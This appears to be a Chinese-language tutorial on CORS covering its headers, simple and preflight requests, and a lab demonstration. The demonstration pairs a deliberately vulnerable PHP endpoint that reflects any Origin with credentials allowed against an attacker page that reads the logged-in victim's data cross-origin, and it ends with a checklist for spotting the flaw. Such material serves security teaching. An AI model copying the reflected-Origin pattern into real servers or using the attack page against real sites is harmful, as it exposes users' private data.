介绍

CORS 是一种允许服务器指定谁可以访问其资源依赖来自外部资源的那些 HTTP 请求方法是允许的

(PS : 在这里我们需要查看以下 SameSite 策略SameSite)

Access-Control-Allow-Origin 标头

Access-Control-Allow-Origin的规范允许多个来源,或数值为null,或通配符。然而,没有浏览器支持多个来源,而且对通配符的使用也有限制。(通配符只能单独使用,这将使Access-Control-Allow-Origin: https://*.normal-website.com失败,而且它不能与Access-Control-Allow-Credentials: true一起使用)。

当网站请求跨域资源时,服务器会返回这个标头,浏览器会添加Origin标头。

Access-Control-Allow-Credentials Header

跨源资源请求的默认行为是在没有像Cookies和 Authoriaztion Header 这样的凭证的情况下传递请求。然而,跨域服务器可以通过将CORS Access-Control-Allow-Credentials头设置为true,来允许在向其传递凭证时读取响应。

如果该值被设置为true,那么浏览器将发送证书(cookies、授权头或TLS客户端证书)

  1. var xhr = new XMLHttpRequest();
  2. xhr.onreadystatechange = function() {
  3. if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
  4. console.log(xhr.responseText);
  5. }
  6. }
  7. xhr.open('GET', 'http://example.com/', true);
  8. xhr.withCredentials = true;
  9. xhr.send(null);
  1. fetch(url, {
  2. credentials: 'include'
  3. })
  1. const xhr = new XMLHttpRequest();
  2. xhr.open('POST', 'https://bar.other/resources/post-here/');
  3. xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
  4. xhr.setRequestHeader('Content-Type', 'application/xml');
  5. xhr.onreadystatechange = handler;
  6. xhr.send('<person><name>Arun</name></person>');

Pre-flight request

在某些情况下,当一个跨域请求:

  • 包括一个非标准的HTTP方法(HEAD、GET、POST)
  • 包括新的 Header
  • 包括特殊的Content-Type头值

0x01 跨域限制的作用

跨域限制最主要的功能就是为了用户的上网安全。

如果没有浏览器同源策略,那么就很容易发生一些安全事件

例如:

在用户无感知的情况下,获取用户数据

0x02 CORS请求类别

  • 简单请求(simple request)
  • 非简单请求(not-so-simple request)

简单请求分辨方法

只要同时满足以下两大条件,就属于简单请求

一、 请求方法是以下三种方法之一:

  1. HEAD
  2. GET
  3. POST

二、HTTP的头信息不超出以下几种字段:

  1. Accept
  2. Accept-Language
  3. Content-Language
  4. Last-Event-ID
  5. Content-Type:只限于三个值 application/x-www-form-urlencoded、multipart/form-data、text/plain,这个简单的意思就是说,设置了一个白名单,符合这个条件的才是简单请求。其他不符合的都是非简单请求

非简单请求

只要不能同时满足上面的两个条件就通通属于非简单请求

0x03 简单请求与非简单请求浏览器处理结果

相同点

在请求中都需要附加一个额外的 Origin 头部,其中包含请求页面的源信息(协议、域名和端口),以便服务器根据这个头部信息来决定是否给予响应。

例如:Origin: http://www.atest.cn

简单请求

如果它符合上面所述的简单跨域请求,浏览器就会立刻发送这个请求

然后服务器如果认为这个请求可以接受,就会在 Access-Control-Allow-Origin 头部中回发相同的源信息(如果是公共资源,会回发 * )。

例如返回包中会带:Access-Control-Allow-Origin:http://www.atest.cn

那么这时就可以当成一个正常的http请求访问获取数据了

非简单请求

如果浏览器检查之后发现这是一个非简单请求,比如请求头含有X-Forwarded-For字段。

这时候浏览器不会马上发送这个请求,而是有一个preflight,跟服务器验证的过程。

浏览器先发送一个options方法的预检请求。

例如如下请求:

  • Origin:普通的HTTP请求也会带有,在CORS中专门作为Origin信息供后端比对,表明来源域。
  • Access-Control-Request-Method: 接下来请求的方法,例如GET,POST,PUT, DELETE等等
  • Access-Control-Request-Headers: (可选)自定义的头部信息,多个头部以逗号分隔所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中。

如果服务器配置了cors,会返回对应对的字段

  • Access-Control-Allow-Origin:
  • Access-Control-Allow-Methods:
  • Access-Control-Allow-Headers:

然后浏览器再根据服务器的返回值判断是否发送非简单请求。

简单请求前面讲过是直接发送,只是多加一个origin字段表明跨域请求的来源。

然后服务器处理完请求之后,会再返回结果中加上如下控制字段

  • Access-Control-Allow-Origin: 允许跨域访问的域,可以是一个域的列表,也可以是通配符”*”。这里要注意Origin规则只对域名有效,并不会对子目录有效。即http://a.test.cn/xxxx/ 是无效的。但是不同子域名需要分开设置,这里的规则可以参照同源策略
  • Access-Control-Allow-Credentials: 是否允许请求带有验证信息
  • Access-Control-Expose-Headers: 允许脚本访问的返回头,请求成功后,脚本可以在XMLHttpRequest中访问这些头的信息
  • Access-Control-Max-Age: 缓存此次请求的秒数。在这个时间范围内,所有同类型的请求都将不再发送预检请求而是直接使用此次返回的头作为判断依据,非常有用,大幅优化请求次数
  • Access-Control-Allow-Methods: 允许使用的请求方法,以逗号隔开
  • Access-Control-Allow-Headers: 允许自定义的头部,以逗号隔开,大小写不敏感

重要说明

默认情况不会包含cookie 信息的!!!!!

如果需要包含 cookie 信息

ajax 请求需要设置 xhr 的属性 withCredentials 为 true

服务器需要设置响应头部 Access-Control-Allow-Credentials: true

0x04 攻击例子

准备两个域名

站点域名:http://test.test

攻击者域名:http://atest.test

站点域名需要准备的文件

  1. 文件名称:login.php
  2. 目录:cors-test\login.php
  3. <?php
  4. session_start();
  5. $_SESSION['test_token'] = 'test';
  6. echo '登录成功';
  1. 文件名称:user_info.php
  2. 目录:cors-test\user_info.php
  3. <?php
  4. $origin = @$_SERVER['HTTP_ORIGIN'];
  5. if (!$origin) {
  6. exit('请携带origin');
  7. }
  8. header('Access-Control-Allow-Origin:'.$origin);
  9. header('Access-Control-Allow-Credentials:true');
  10. session_start();
  11. if (!@$_SESSION['test_token']) {
  12. exit('请登录');
  13. }
  14. $data = array('username'=>'P喵呜-phpoop','email' => '3303003493@qq.com');
  15. $json = json_encode($data);
  16. echo $json;

攻击者域名需要准备的文件

  1. 文件名称:cors.html
  2. 目录:cors-test\cors.html
  3. <!DOCTYPE html>
  4. <html>
  5. <head><title>CORS</title></head>
  6. <body>
  7. <center>
  8. <textarea rows="10" cols="60" id="pwnz">
  9. </textarea><br>
  10. <button type="button" onclick="cors()">Exploit</button>
  11. <script>
  12. function cors() {
  13. var xhttp = new XMLHttpRequest();
  14. xhttp.onreadystatechange = function() {
  15. if (this.readyState == 4 && this.status == 200) {
  16. document.getElementById("pwnz").innerHTML = this.responseText;
  17. alert(this.responseText)
  18. }
  19. };
  20. var data="";
  21. xhttp.open("GET", "http://test.test/cors-test/user_info.php");
  22. xhttp.withCredentials = true;
  23. xhttp.send();
  24. }
  25. </script>

测试的代码文件

cors-test.zip

攻击开始

首先受害者先进行登录

打开地址: http://test.test/cors-test/login.php

CORS跨域资源共享 - 图1

攻击者发送有害地址给受害者

受害者打开:http://atest.test/cors-test/cors.html

CORS跨域资源共享 - 图2

成功劫持到用户数据

0x05 总结

其实挖cors方法最简单的就是关注这几点

  1. 请求端存在Origin头
  2. 返回包里面的Access-Control-Allow-Origin字段返回值是否与请求端发送的Origin一致
  3. Access-Control-Allow-Credentials 为 true

Access-Control-Allow-Credentials 必须为true 因为不为true的也没什么好劫持的

如果上面列的都有了,那么大概率就是有cors了,至于有没有其他的过滤,那就看自己功底来绕过了